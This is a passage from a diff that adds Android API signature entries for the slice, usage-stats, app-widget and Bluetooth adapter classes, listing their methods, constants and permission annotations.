+    method @Nullable public android.app.slice.SliceSpec getSpec();
+    method public android.net.Uri getUri();
+    method public boolean isCallerNeeded();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.slice.Slice> CREATOR;
+    field public static final String EXTRA_RANGE_VALUE = "android.app.slice.extra.RANGE_VALUE";
+    field public static final String EXTRA_TOGGLE_STATE = "android.app.slice.extra.TOGGLE_STATE";
+    field public static final String HINT_ACTIONS = "actions";
+    field public static final String HINT_ERROR = "error";
+    field public static final String HINT_HORIZONTAL = "horizontal";
+    field public static final String HINT_KEYWORDS = "keywords";
+    field public static final String HINT_LARGE = "large";
+    field public static final String HINT_LAST_UPDATED = "last_updated";
+    field public static final String HINT_LIST = "list";
+    field public static final String HINT_LIST_ITEM = "list_item";
+    field public static final String HINT_NO_TINT = "no_tint";
+    field public static final String HINT_PARTIAL = "partial";
+    field public static final String HINT_PERMISSION_REQUEST = "permission_request";
+    field public static final String HINT_SEE_MORE = "see_more";
+    field public static final String HINT_SELECTED = "selected";
+    field public static final String HINT_SHORTCUT = "shortcut";
+    field public static final String HINT_SUMMARY = "summary";
+    field public static final String HINT_TITLE = "title";
+    field public static final String HINT_TTL = "ttl";
+    field public static final String SUBTYPE_COLOR = "color";
+    field public static final String SUBTYPE_CONTENT_DESCRIPTION = "content_description";
+    field public static final String SUBTYPE_LAYOUT_DIRECTION = "layout_direction";
+    field public static final String SUBTYPE_MAX = "max";
+    field public static final String SUBTYPE_MESSAGE = "message";
+    field public static final String SUBTYPE_MILLIS = "millis";
+    field public static final String SUBTYPE_PRIORITY = "priority";
+    field public static final String SUBTYPE_RANGE = "range";
+    field public static final String SUBTYPE_SOURCE = "source";
+    field public static final String SUBTYPE_TOGGLE = "toggle";
+    field public static final String SUBTYPE_VALUE = "value";
+  }
+
+  public static class Slice.Builder {
+    ctor public Slice.Builder(@NonNull android.net.Uri, android.app.slice.SliceSpec);
+    ctor public Slice.Builder(@NonNull android.app.slice.Slice.Builder);
+    method public android.app.slice.Slice.Builder addAction(@NonNull android.app.PendingIntent, @NonNull android.app.slice.Slice, @Nullable String);
+    method public android.app.slice.Slice.Builder addBundle(android.os.Bundle, @Nullable String, java.util.List<java.lang.String>);
+    method public android.app.slice.Slice.Builder addHints(java.util.List<java.lang.String>);
+    method public android.app.slice.Slice.Builder addIcon(android.graphics.drawable.Icon, @Nullable String, java.util.List<java.lang.String>);
+    method public android.app.slice.Slice.Builder addInt(int, @Nullable String, java.util.List<java.lang.String>);
+    method public android.app.slice.Slice.Builder addLong(long, @Nullable String, java.util.List<java.lang.String>);
+    method public android.app.slice.Slice.Builder addRemoteInput(android.app.RemoteInput, @Nullable String, java.util.List<java.lang.String>);
+    method public android.app.slice.Slice.Builder addSubSlice(@NonNull android.app.slice.Slice, @Nullable String);
+    method public android.app.slice.Slice.Builder addText(CharSequence, @Nullable String, java.util.List<java.lang.String>);
+    method public android.app.slice.Slice build();
+    method public android.app.slice.Slice.Builder setCallerNeeded(boolean);
+  }
+
+  public final class SliceItem implements android.os.Parcelable {
+    method public int describeContents();
+    method public android.app.PendingIntent getAction();
+    method public android.os.Bundle getBundle();
+    method public String getFormat();
+    method @NonNull public java.util.List<java.lang.String> getHints();
+    method public android.graphics.drawable.Icon getIcon();
+    method public int getInt();
+    method public long getLong();
+    method public android.app.RemoteInput getRemoteInput();
+    method public android.app.slice.Slice getSlice();
+    method public String getSubType();
+    method public CharSequence getText();
+    method public boolean hasHint(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.slice.SliceItem> CREATOR;
+    field public static final String FORMAT_ACTION = "action";
+    field public static final String FORMAT_BUNDLE = "bundle";
+    field public static final String FORMAT_IMAGE = "image";
+    field public static final String FORMAT_INT = "int";
+    field public static final String FORMAT_LONG = "long";
+    field public static final String FORMAT_REMOTE_INPUT = "input";
+    field public static final String FORMAT_SLICE = "slice";
+    field public static final String FORMAT_TEXT = "text";
+  }
+
+  public class SliceManager {
+    method @Nullable public android.app.slice.Slice bindSlice(@NonNull android.net.Uri, @NonNull java.util.Set<android.app.slice.SliceSpec>);
+    method @Nullable public android.app.slice.Slice bindSlice(@NonNull android.content.Intent, @NonNull java.util.Set<android.app.slice.SliceSpec>);
+    method public int checkSlicePermission(@NonNull android.net.Uri, int, int);
+    method @NonNull public java.util.List<android.net.Uri> getPinnedSlices();
+    method @NonNull public java.util.Set<android.app.slice.SliceSpec> getPinnedSpecs(android.net.Uri);
+    method @NonNull @WorkerThread public java.util.Collection<android.net.Uri> getSliceDescendants(@NonNull android.net.Uri);
+    method public void grantSlicePermission(@NonNull String, @NonNull android.net.Uri);
+    method @Nullable public android.net.Uri mapIntentToUri(@NonNull android.content.Intent);
+    method public void pinSlice(@NonNull android.net.Uri, @NonNull java.util.Set<android.app.slice.SliceSpec>);
+    method public void revokeSlicePermission(@NonNull String, @NonNull android.net.Uri);
+    method public void unpinSlice(@NonNull android.net.Uri);
+    field public static final String CATEGORY_SLICE = "android.app.slice.category.SLICE";
+    field public static final String SLICE_METADATA_KEY = "android.metadata.SLICE_URI";
+  }
+
+  public class SliceMetrics {
+    ctor public SliceMetrics(@NonNull android.content.Context, @NonNull android.net.Uri);
+    method public void logHidden();
+    method public void logTouch(int, @NonNull android.net.Uri);
+    method public void logVisible();
+  }
+
+  public abstract class SliceProvider extends android.content.ContentProvider {
+    ctor public SliceProvider(@NonNull java.lang.String...);
+    ctor public SliceProvider();
+    method public final int delete(android.net.Uri, String, String[]);
+    method public final String getType(android.net.Uri);
+    method public final android.net.Uri insert(android.net.Uri, android.content.ContentValues);
+    method public android.app.slice.Slice onBindSlice(android.net.Uri, java.util.Set<android.app.slice.SliceSpec>);
+    method @NonNull public android.app.PendingIntent onCreatePermissionRequest(android.net.Uri);
+    method @NonNull public java.util.Collection<android.net.Uri> onGetSliceDescendants(@NonNull android.net.Uri);
+    method @NonNull public android.net.Uri onMapIntentToUri(android.content.Intent);
+    method public void onSlicePinned(android.net.Uri);
+    method public void onSliceUnpinned(android.net.Uri);
+    method public final android.database.Cursor query(android.net.Uri, String[], String, String[], String);
+    method public final android.database.Cursor query(android.net.Uri, String[], String, String[], String, android.os.CancellationSignal);
+    method public final android.database.Cursor query(android.net.Uri, String[], android.os.Bundle, android.os.CancellationSignal);
+    method public final int update(android.net.Uri, android.content.ContentValues, String, String[]);
+    field public static final String SLICE_TYPE = "vnd.android.slice";
+  }
+
+  public final class SliceSpec implements android.os.Parcelable {
+    ctor public SliceSpec(@NonNull String, int);
+    method public boolean canRender(@NonNull android.app.slice.SliceSpec);
+    method public int describeContents();
+    method public int getRevision();
+    method public String getType();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.slice.SliceSpec> CREATOR;
+  }
+
+}
+
+package android.app.usage {
+
+  public final class ConfigurationStats implements android.os.Parcelable {
+    ctor public ConfigurationStats(android.app.usage.ConfigurationStats);
+    method public int describeContents();
+    method public int getActivationCount();
+    method public android.content.res.Configuration getConfiguration();
+    method public long getFirstTimeStamp();
+    method public long getLastTimeActive();
+    method public long getLastTimeStamp();
+    method public long getTotalTimeActive();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.usage.ConfigurationStats> CREATOR;
+  }
+
+  public final class EventStats implements android.os.Parcelable {
+    ctor public EventStats(android.app.usage.EventStats);
+    method public void add(android.app.usage.EventStats);
+    method public int describeContents();
+    method public int getCount();
+    method public int getEventType();
+    method public long getFirstTimeStamp();
+    method public long getLastEventTime();
+    method public long getLastTimeStamp();
+    method public long getTotalTime();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.usage.EventStats> CREATOR;
+  }
+
+  public final class ExternalStorageStats implements android.os.Parcelable {
+    method public int describeContents();
+    method public long getAppBytes();
+    method public long getAudioBytes();
+    method public long getImageBytes();
+    method public long getTotalBytes();
+    method public long getVideoBytes();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.usage.ExternalStorageStats> CREATOR;
+  }
+
+  public final class NetworkStats implements java.lang.AutoCloseable {
+    method public void close();
+    method public boolean getNextBucket(android.app.usage.NetworkStats.Bucket);
+    method public boolean hasNextBucket();
+  }
+
+  public static class NetworkStats.Bucket {
+    ctor public NetworkStats.Bucket();
+    method public int getDefaultNetworkStatus();
+    method public long getEndTimeStamp();
+    method public int getMetered();
+    method public int getRoaming();
+    method public long getRxBytes();
+    method public long getRxPackets();
+    method public long getStartTimeStamp();
+    method public int getState();
+    method public int getTag();
+    method public long getTxBytes();
+    method public long getTxPackets();
+    method public int getUid();
+    field public static final int DEFAULT_NETWORK_ALL = -1; // 0xffffffff
+    field public static final int DEFAULT_NETWORK_NO = 1; // 0x1
+    field public static final int DEFAULT_NETWORK_YES = 2; // 0x2
+    field public static final int METERED_ALL = -1; // 0xffffffff
+    field public static final int METERED_NO = 1; // 0x1
+    field public static final int METERED_YES = 2; // 0x2
+    field public static final int ROAMING_ALL = -1; // 0xffffffff
+    field public static final int ROAMING_NO = 1; // 0x1
+    field public static final int ROAMING_YES = 2; // 0x2
+    field public static final int STATE_ALL = -1; // 0xffffffff
+    field public static final int STATE_DEFAULT = 1; // 0x1
+    field public static final int STATE_FOREGROUND = 2; // 0x2
+    field public static final int TAG_NONE = 0; // 0x0
+    field public static final int UID_ALL = -1; // 0xffffffff
+    field public static final int UID_REMOVED = -4; // 0xfffffffc
+    field public static final int UID_TETHERING = -5; // 0xfffffffb
+  }
+
+  public class NetworkStatsManager {
+    method @WorkerThread public android.app.usage.NetworkStats queryDetails(int, String, long, long) throws android.os.RemoteException, java.lang.SecurityException;
+    method @WorkerThread public android.app.usage.NetworkStats queryDetailsForUid(int, String, long, long, int) throws java.lang.SecurityException;
+    method @WorkerThread public android.app.usage.NetworkStats queryDetailsForUidTag(int, String, long, long, int, int) throws java.lang.SecurityException;
+    method @WorkerThread public android.app.usage.NetworkStats queryDetailsForUidTagState(int, String, long, long, int, int, int) throws java.lang.SecurityException;
+    method @WorkerThread public android.app.usage.NetworkStats querySummary(int, String, long, long) throws android.os.RemoteException, java.lang.SecurityException;
+    method @WorkerThread public android.app.usage.NetworkStats.Bucket querySummaryForDevice(int, String, long, long) throws android.os.RemoteException, java.lang.SecurityException;
+    method @WorkerThread public android.app.usage.NetworkStats.Bucket querySummaryForUser(int, String, long, long) throws android.os.RemoteException, java.lang.SecurityException;
+    method public void registerUsageCallback(int, String, long, android.app.usage.NetworkStatsManager.UsageCallback);
+    method public void registerUsageCallback(int, String, long, android.app.usage.NetworkStatsManager.UsageCallback, @Nullable android.os.Handler);
+    method public void unregisterUsageCallback(android.app.usage.NetworkStatsManager.UsageCallback);
+  }
+
+  public abstract static class NetworkStatsManager.UsageCallback {
+    ctor public NetworkStatsManager.UsageCallback();
+    method public abstract void onThresholdReached(int, String);
+  }
+
+  public final class StorageStats implements android.os.Parcelable {
+    method public int describeContents();
+    method public long getAppBytes();
+    method public long getCacheBytes();
+    method public long getDataBytes();
+    method public long getExternalCacheBytes();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.usage.StorageStats> CREATOR;
+  }
+
+  public class StorageStatsManager {
+    method @WorkerThread public long getFreeBytes(@NonNull java.util.UUID) throws java.io.IOException;
+    method @WorkerThread public long getTotalBytes(@NonNull java.util.UUID) throws java.io.IOException;
+    method @NonNull @WorkerThread public android.app.usage.ExternalStorageStats queryExternalStatsForUser(@NonNull java.util.UUID, @NonNull android.os.UserHandle) throws java.io.IOException;
+    method @NonNull @WorkerThread public android.app.usage.StorageStats queryStatsForPackage(@NonNull java.util.UUID, @NonNull String, @NonNull android.os.UserHandle) throws java.io.IOException, android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull @WorkerThread public android.app.usage.StorageStats queryStatsForUid(@NonNull java.util.UUID, int) throws java.io.IOException;
+    method @NonNull @WorkerThread public android.app.usage.StorageStats queryStatsForUser(@NonNull java.util.UUID, @NonNull android.os.UserHandle) throws java.io.IOException;
+  }
+
+  public final class UsageEvents implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean getNextEvent(android.app.usage.UsageEvents.Event);
+    method public boolean hasNextEvent();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.usage.UsageEvents> CREATOR;
+  }
+
+  public static final class UsageEvents.Event {
+    ctor public UsageEvents.Event();
+    method public int getAppStandbyBucket();
+    method public String getClassName();
+    method public android.content.res.Configuration getConfiguration();
+    method public int getEventType();
+    method public String getPackageName();
+    method public String getShortcutId();
+    method public long getTimeStamp();
+    field public static final int ACTIVITY_PAUSED = 2; // 0x2
+    field public static final int ACTIVITY_RESUMED = 1; // 0x1
+    field public static final int ACTIVITY_STOPPED = 23; // 0x17
+    field public static final int CONFIGURATION_CHANGE = 5; // 0x5
+    field public static final int DEVICE_SHUTDOWN = 26; // 0x1a
+    field public static final int DEVICE_STARTUP = 27; // 0x1b
+    field public static final int FOREGROUND_SERVICE_START = 19; // 0x13
+    field public static final int FOREGROUND_SERVICE_STOP = 20; // 0x14
+    field public static final int KEYGUARD_HIDDEN = 18; // 0x12
+    field public static final int KEYGUARD_SHOWN = 17; // 0x11
+    field @Deprecated public static final int MOVE_TO_BACKGROUND = 2; // 0x2
+    field @Deprecated public static final int MOVE_TO_FOREGROUND = 1; // 0x1
+    field public static final int NONE = 0; // 0x0
+    field public static final int SCREEN_INTERACTIVE = 15; // 0xf
+    field public static final int SCREEN_NON_INTERACTIVE = 16; // 0x10
+    field public static final int SHORTCUT_INVOCATION = 8; // 0x8
+    field public static final int STANDBY_BUCKET_CHANGED = 11; // 0xb
+    field public static final int USER_INTERACTION = 7; // 0x7
+  }
+
+  public final class UsageStats implements android.os.Parcelable {
+    ctor public UsageStats(android.app.usage.UsageStats);
+    method public void add(android.app.usage.UsageStats);
+    method public int describeContents();
+    method public long getFirstTimeStamp();
+    method public long getLastTimeForegroundServiceUsed();
+    method public long getLastTimeStamp();
+    method public long getLastTimeUsed();
+    method public long getLastTimeVisible();
+    method public String getPackageName();
+    method public long getTotalTimeForegroundServiceUsed();
+    method public long getTotalTimeInForeground();
+    method public long getTotalTimeVisible();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.usage.UsageStats> CREATOR;
+  }
+
+  public final class UsageStatsManager {
+    method public int getAppStandbyBucket();
+    method public boolean isAppInactive(String);
+    method public java.util.Map<java.lang.String,android.app.usage.UsageStats> queryAndAggregateUsageStats(long, long);
+    method public java.util.List<android.app.usage.ConfigurationStats> queryConfigurations(int, long, long);
+    method public java.util.List<android.app.usage.EventStats> queryEventStats(int, long, long);
+    method public android.app.usage.UsageEvents queryEvents(long, long);
+    method public android.app.usage.UsageEvents queryEventsForSelf(long, long);
+    method public java.util.List<android.app.usage.UsageStats> queryUsageStats(int, long, long);
+    field public static final int INTERVAL_BEST = 4; // 0x4
+    field public static final int INTERVAL_DAILY = 0; // 0x0
+    field public static final int INTERVAL_MONTHLY = 2; // 0x2
+    field public static final int INTERVAL_WEEKLY = 1; // 0x1
+    field public static final int INTERVAL_YEARLY = 3; // 0x3
+    field public static final int STANDBY_BUCKET_ACTIVE = 10; // 0xa
+    field public static final int STANDBY_BUCKET_FREQUENT = 30; // 0x1e
+    field public static final int STANDBY_BUCKET_RARE = 40; // 0x28
+    field public static final int STANDBY_BUCKET_RESTRICTED = 45; // 0x2d
+    field public static final int STANDBY_BUCKET_WORKING_SET = 20; // 0x14
+  }
+
+}
+
+package android.appwidget {
+
+  public class AppWidgetHost {
+    ctor public AppWidgetHost(android.content.Context, int);
+    method public int allocateAppWidgetId();
+    method protected void clearViews();
+    method public final android.appwidget.AppWidgetHostView createView(android.content.Context, int, android.appwidget.AppWidgetProviderInfo);
+    method public static void deleteAllHosts();
+    method public void deleteAppWidgetId(int);
+    method public void deleteHost();
+    method public int[] getAppWidgetIds();
+    method public void onAppWidgetRemoved(int);
+    method protected android.appwidget.AppWidgetHostView onCreateView(android.content.Context, int, android.appwidget.AppWidgetProviderInfo);
+    method protected void onProviderChanged(int, android.appwidget.AppWidgetProviderInfo);
+    method protected void onProvidersChanged();
+    method public final void startAppWidgetConfigureActivityForResult(@NonNull android.app.Activity, int, int, int, @Nullable android.os.Bundle);
+    method public void startListening();
+    method public void stopListening();
+  }
+
+  public class AppWidgetHostView extends android.widget.FrameLayout {
+    ctor public AppWidgetHostView(android.content.Context);
+    ctor public AppWidgetHostView(android.content.Context, int, int);
+    method public int getAppWidgetId();
+    method public android.appwidget.AppWidgetProviderInfo getAppWidgetInfo();
+    method public static android.graphics.Rect getDefaultPaddingForWidget(android.content.Context, android.content.ComponentName, android.graphics.Rect);
+    method protected android.view.View getDefaultView();
+    method protected android.view.View getErrorView();
+    method protected void prepareView(android.view.View);
+    method public void resetColorResources();
+    method public void setAppWidget(int, android.appwidget.AppWidgetProviderInfo);
+    method public void setColorResources(@NonNull android.util.SparseIntArray);
+    method public void setExecutor(java.util.concurrent.Executor);
+    method public void setOnLightBackground(boolean);
+    method public void updateAppWidget(android.widget.RemoteViews);
+    method public void updateAppWidgetOptions(android.os.Bundle);
+    method @Deprecated public void updateAppWidgetSize(android.os.Bundle, int, int, int, int);
+    method public void updateAppWidgetSize(@NonNull android.os.Bundle, @NonNull java.util.List<android.util.SizeF>);
+  }
+
+  public class AppWidgetManager {
+    method public boolean bindAppWidgetIdIfAllowed(int, android.content.ComponentName);
+    method public boolean bindAppWidgetIdIfAllowed(int, android.content.ComponentName, android.os.Bundle);
+    method public boolean bindAppWidgetIdIfAllowed(int, android.os.UserHandle, android.content.ComponentName, android.os.Bundle);
+    method public int[] getAppWidgetIds(android.content.ComponentName);
+    method public android.appwidget.AppWidgetProviderInfo getAppWidgetInfo(int);
+    method public android.os.Bundle getAppWidgetOptions(int);
+    method public java.util.List<android.appwidget.AppWidgetProviderInfo> getInstalledProviders();
+    method @NonNull public java.util.List<android.appwidget.AppWidgetProviderInfo> getInstalledProvidersForPackage(@NonNull String, @Nullable android.os.UserHandle);
+    method @NonNull public java.util.List<android.appwidget.AppWidgetProviderInfo> getInstalledProvidersForProfile(@Nullable android.os.UserHandle);
+    method public static android.appwidget.AppWidgetManager getInstance(android.content.Context);
+    method public boolean isRequestPinAppWidgetSupported();
+    method public void notifyAppWidgetViewDataChanged(int[], int);
+    method public void notifyAppWidgetViewDataChanged(int, int);
+    method public void partiallyUpdateAppWidget(int[], android.widget.RemoteViews);
+    method public void partiallyUpdateAppWidget(int, android.widget.RemoteViews);
+    method public boolean requestPinAppWidget(@NonNull android.content.ComponentName, @Nullable android.os.Bundle, @Nullable android.app.PendingIntent);
+    method public void updateAppWidget(int[], android.widget.RemoteViews);
+    method public void updateAppWidget(int, android.widget.RemoteViews);
+    method public void updateAppWidget(android.content.ComponentName, android.widget.RemoteViews);
+    method public void updateAppWidgetOptions(int, android.os.Bundle);
+    method public void updateAppWidgetProviderInfo(android.content.ComponentName, @Nullable String);
+    field public static final String ACTION_APPWIDGET_BIND = "android.appwidget.action.APPWIDGET_BIND";
+    field public static final String ACTION_APPWIDGET_CONFIGURE = "android.appwidget.action.APPWIDGET_CONFIGURE";
+    field public static final String ACTION_APPWIDGET_DELETED = "android.appwidget.action.APPWIDGET_DELETED";
+    field public static final String ACTION_APPWIDGET_DISABLED = "android.appwidget.action.APPWIDGET_DISABLED";
+    field public static final String ACTION_APPWIDGET_ENABLED = "android.appwidget.action.APPWIDGET_ENABLED";
+    field public static final String ACTION_APPWIDGET_HOST_RESTORED = "android.appwidget.action.APPWIDGET_HOST_RESTORED";
+    field public static final String ACTION_APPWIDGET_OPTIONS_CHANGED = "android.appwidget.action.APPWIDGET_UPDATE_OPTIONS";
+    field public static final String ACTION_APPWIDGET_PICK = "android.appwidget.action.APPWIDGET_PICK";
+    field public static final String ACTION_APPWIDGET_RESTORED = "android.appwidget.action.APPWIDGET_RESTORED";
+    field public static final String ACTION_APPWIDGET_UPDATE = "android.appwidget.action.APPWIDGET_UPDATE";
+    field public static final String EXTRA_APPWIDGET_ID = "appWidgetId";
+    field public static final String EXTRA_APPWIDGET_IDS = "appWidgetIds";
+    field public static final String EXTRA_APPWIDGET_OLD_IDS = "appWidgetOldIds";
+    field public static final String EXTRA_APPWIDGET_OPTIONS = "appWidgetOptions";
+    field public static final String EXTRA_APPWIDGET_PREVIEW = "appWidgetPreview";
+    field public static final String EXTRA_APPWIDGET_PROVIDER = "appWidgetProvider";
+    field public static final String EXTRA_APPWIDGET_PROVIDER_PROFILE = "appWidgetProviderProfile";
+    field public static final String EXTRA_CUSTOM_EXTRAS = "customExtras";
+    field public static final String EXTRA_CUSTOM_INFO = "customInfo";
+    field public static final String EXTRA_HOST_ID = "hostId";
+    field public static final int INVALID_APPWIDGET_ID = 0; // 0x0
+    field public static final String META_DATA_APPWIDGET_PROVIDER = "android.appwidget.provider";
+    field public static final String OPTION_APPWIDGET_HOST_CATEGORY = "appWidgetCategory";
+    field public static final String OPTION_APPWIDGET_MAX_HEIGHT = "appWidgetMaxHeight";
+    field public static final String OPTION_APPWIDGET_MAX_WIDTH = "appWidgetMaxWidth";
+    field public static final String OPTION_APPWIDGET_MIN_HEIGHT = "appWidgetMinHeight";
+    field public static final String OPTION_APPWIDGET_MIN_WIDTH = "appWidgetMinWidth";
+    field public static final String OPTION_APPWIDGET_RESTORE_COMPLETED = "appWidgetRestoreCompleted";
+    field public static final String OPTION_APPWIDGET_SIZES = "appWidgetSizes";
+  }
+
+  public class AppWidgetProvider extends android.content.BroadcastReceiver {
+    ctor public AppWidgetProvider();
+    method public void onAppWidgetOptionsChanged(android.content.Context, android.appwidget.AppWidgetManager, int, android.os.Bundle);
+    method public void onDeleted(android.content.Context, int[]);
+    method public void onDisabled(android.content.Context);
+    method public void onEnabled(android.content.Context);
+    method public void onReceive(android.content.Context, android.content.Intent);
+    method public void onRestored(android.content.Context, int[], int[]);
+    method public void onUpdate(android.content.Context, android.appwidget.AppWidgetManager, int[]);
+  }
+
+  public class AppWidgetProviderInfo implements android.os.Parcelable {
+    ctor public AppWidgetProviderInfo();
+    ctor public AppWidgetProviderInfo(android.os.Parcel);
+    method public android.appwidget.AppWidgetProviderInfo clone();
+    method public int describeContents();
+    method @NonNull public android.content.pm.ActivityInfo getActivityInfo();
+    method public final android.os.UserHandle getProfile();
+    method @Nullable public final CharSequence loadDescription(@NonNull android.content.Context);
+    method public final android.graphics.drawable.Drawable loadIcon(@NonNull android.content.Context, int);
+    method public final String loadLabel(android.content.pm.PackageManager);
+    method public final android.graphics.drawable.Drawable loadPreviewImage(@NonNull android.content.Context, int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.appwidget.AppWidgetProviderInfo> CREATOR;
+    field public static final int RESIZE_BOTH = 3; // 0x3
+    field public static final int RESIZE_HORIZONTAL = 1; // 0x1
+    field public static final int RESIZE_NONE = 0; // 0x0
+    field public static final int RESIZE_VERTICAL = 2; // 0x2
+    field public static final int WIDGET_CATEGORY_HOME_SCREEN = 1; // 0x1
+    field public static final int WIDGET_CATEGORY_KEYGUARD = 2; // 0x2
+    field public static final int WIDGET_CATEGORY_SEARCHBOX = 4; // 0x4
+    field public static final int WIDGET_FEATURE_CONFIGURATION_OPTIONAL = 4; // 0x4
+    field public static final int WIDGET_FEATURE_HIDE_FROM_PICKER = 2; // 0x2
+    field public static final int WIDGET_FEATURE_RECONFIGURABLE = 1; // 0x1
+    field public int autoAdvanceViewId;
+    field public android.content.ComponentName configure;
+    field @IdRes public int descriptionRes;
+    field public int icon;
+    field public int initialKeyguardLayout;
+    field public int initialLayout;
+    field @Deprecated public String label;
+    field public int maxResizeHeight;
+    field public int maxResizeWidth;
+    field public int minHeight;
+    field public int minResizeHeight;
+    field public int minResizeWidth;
+    field public int minWidth;
+    field public int previewImage;
+    field @IdRes public int previewLayout;
+    field public android.content.ComponentName provider;
+    field public int resizeMode;
+    field public int targetCellHeight;
+    field public int targetCellWidth;
+    field public int updatePeriodMillis;
+    field public int widgetCategory;
+    field public int widgetFeatures;
+  }
+
+}
+
+package android.bluetooth {
+
+  public final class BluetoothA2dp implements android.bluetooth.BluetoothProfile {
+    method public void finalize();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getConnectionState(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(int[]);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean isA2dpPlaying(android.bluetooth.BluetoothDevice);
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_CONNECTION_STATE_CHANGED = "android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_PLAYING_STATE_CHANGED = "android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED";
+    field public static final int STATE_NOT_PLAYING = 11; // 0xb
+    field public static final int STATE_PLAYING = 10; // 0xa
+  }
+
+  public final class BluetoothAdapter {
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public boolean cancelDiscovery();
+    method public static boolean checkBluetoothAddress(String);
+    method public void closeProfileProxy(int, android.bluetooth.BluetoothProfile);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean disable();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean enable();
+    method @RequiresPermission(allOf={android.Manifest.permission.BLUETOOTH_CONNECT, "android.permission.LOCAL_MAC_ADDRESS"}) public String getAddress();
+    method public android.bluetooth.le.BluetoothLeAdvertiser getBluetoothLeAdvertiser();
+    method public android.bluetooth.le.BluetoothLeScanner getBluetoothLeScanner();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.Set<android.bluetooth.BluetoothDevice> getBondedDevices();
+    method @Deprecated public static android.bluetooth.BluetoothAdapter getDefaultAdapter();
+    method public int getLeMaximumAdvertisingDataLength();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public String getName();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getProfileConnectionState(int);
+    method public boolean getProfileProxy(android.content.Context, android.bluetooth.BluetoothProfile.ServiceListener, int);
+    method public android.bluetooth.BluetoothDevice getRemoteDevice(String);
+    method public android.bluetooth.BluetoothDevice getRemoteDevice(byte[]);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public int getScanMode();
+    method public int getState();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public boolean isDiscovering();
+    method public boolean isEnabled();
+    method public boolean isLe2MPhySupported();
+    method public boolean isLeCodedPhySupported();
+    method public boolean isLeExtendedAdvertisingSupported();
+    method public boolean isLePeriodicAdvertisingSupported();
+    method public boolean isMultipleAdvertisementSupported();
+    method public boolean isOffloadedFilteringSupported();
+    method public boolean isOffloadedScanBatchingSupported();
+    method @NonNull @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothServerSocket listenUsingInsecureL2capChannel() throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothServerSocket listenUsingInsecureRfcommWithServiceRecord(String, java.util.UUID) throws java.io.IOException;
+    method @NonNull @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothServerSocket listenUsingL2capChannel() throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothServerSocket listenUsingRfcommWithServiceRecord(String, java.util.UUID) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean setName(String);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public boolean startDiscovery();
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public boolean startLeScan(android.bluetooth.BluetoothAdapter.LeScanCallback);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public boolean startLeScan(java.util.UUID[], android.bluetooth.BluetoothAdapter.LeScanCallback);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public void stopLeScan(android.bluetooth.BluetoothAdapter.LeScanCallback);
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_CONNECTION_STATE_CHANGED = "android.bluetooth.adapter.action.CONNECTION_STATE_CHANGED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public static final String ACTION_DISCOVERY_FINISHED = "android.bluetooth.adapter.action.DISCOVERY_FINISHED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public static final String ACTION_DISCOVERY_STARTED = "android.bluetooth.adapter.action.DISCOVERY_STARTED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_LOCAL_NAME_CHANGED = "android.bluetooth.adapter.action.LOCAL_NAME_CHANGED";
